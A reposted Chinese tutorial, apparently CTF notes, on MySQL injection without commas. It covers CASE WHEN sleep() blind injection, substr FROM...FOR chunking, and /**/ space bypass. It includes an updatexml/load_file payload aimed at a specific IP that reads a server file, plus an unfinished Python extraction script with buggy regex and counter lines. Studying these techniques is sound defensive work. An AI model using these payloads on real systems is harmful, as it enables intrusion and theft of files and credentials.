转载自:https://www.cnblogs.com/nul1/p/9333599.html
目前所知博主仅知的两个方法
1.通过case when then
2.join
[一]case when then
mysql> select * from lbcms_admin where adminname like "%a%" union select 1,2,3,4,5,6,7,case when substr(database() from 1 for 1) = 'l' then sleep(3) else 0 end; +----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+ | ID | adminName | adminPassWord | adminLov | adminConfig | adminClass | adminLock | adminDate | +----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+ | 1 | admin | a797ba2993304483f0d180e25d14319a | 520 | | NULL | SgrRUQ | 2010-04-14 00:00:00 | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 0 | +----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+ 2 rows in set (3.00 sec)
相关知识[1]https://www.cnblogs.com/nul1/p/8727873.html
case when 条件1 then 条件2 else 条件3 end; #如果条件1成立就执行条件2否则执行条件3
其实就相当于if else:而且也可以用if来替代。
case whent 条件1 then 条件2 else 条件3 end;
如果条件1成立就执行条件2否则执行条件3
1 mysql> select case when 1=1 then sleep(2) else 0 end; 2 +----------------------------------------+ 3 | case when 1=1 then sleep(2) else 0 end | 4 +----------------------------------------+ 5 | 0 | 6 +----------------------------------------+ 7 row in set (2.00 sec)
如果1=1成立则延时两秒 不
相关知识[2]https://www.cnblogs.com/nul1/p/9297045.html
from 1 for 1 #分页,前面的1代表截第几个,后面的1代表截取的长度.
http://103.238.227.13:10088/?id=1
在读取文件的时候发现不能够一下子全部读取出来。经过百度学习了一下,看到别人使用from for说实在此前真不知道这操作。
先来看一下from for吧
1 mysql> select database(); 2 +------------+ 3 | database() | 4 +------------+ 5 | typecho | 6 +------------+ 7 1 row in set (0.00 sec) 8 9 mysql> select substr(database() from 1 for 2); 10 +---------------------------------+ 11 | substr(database() from 1 for 2) | 12 +---------------------------------+ 13 | ty | 14 +---------------------------------+ 15 1 row in set (0.00 sec) 16 17 mysql> select substr(database() from 2 for 3); 18 +---------------------------------+ 19 | substr(database() from 2 for 3) | 20 +---------------------------------+ 21 | ype | 22 +---------------------------------+ 23 1 row in set (0.00 sec) #说明前面一个数字是从第几个开始读取,最后的一个数字是读取的长度。
大概懂了吧,就是起到一个分页的效果。
那么再用到注入里自然就OK了。
PS:过滤了空格可以用使用/**/进行替换,还有就是updatexml最多只能显示32位的长度,所以for的数字是32。
http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/1/**/for/**/32)),1),1)
然后写一个脚本吧from后面的数字每次+32,for也要加就可以了。
以下脚本待完善。
1 #!/usr/bin/env python 2 #encoding:utf-8 3 #by i3ekr 4 5 import requests,re 6 from lxml import etree 7 n1 = 1 8 n2 = 32 9 10 for i in range(0,100): 11 url =""" 12 http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/%d/**/for/**/%d)),1),1) 13 """%(n1,n2) 14 html = requests.get(url,timeout=5).text 15 print(html) 16 result=re.findall(html,"[A-Z][0-9][A-Z][0-9]") 17 result = re.findall("[A-Z][0-9][A-Z][0-9]{29}",html) 18 print(result) 19 n1+=31 20 n2+=32
[二]join
https://www.cnblogs.com/i-honey/p/8203954.html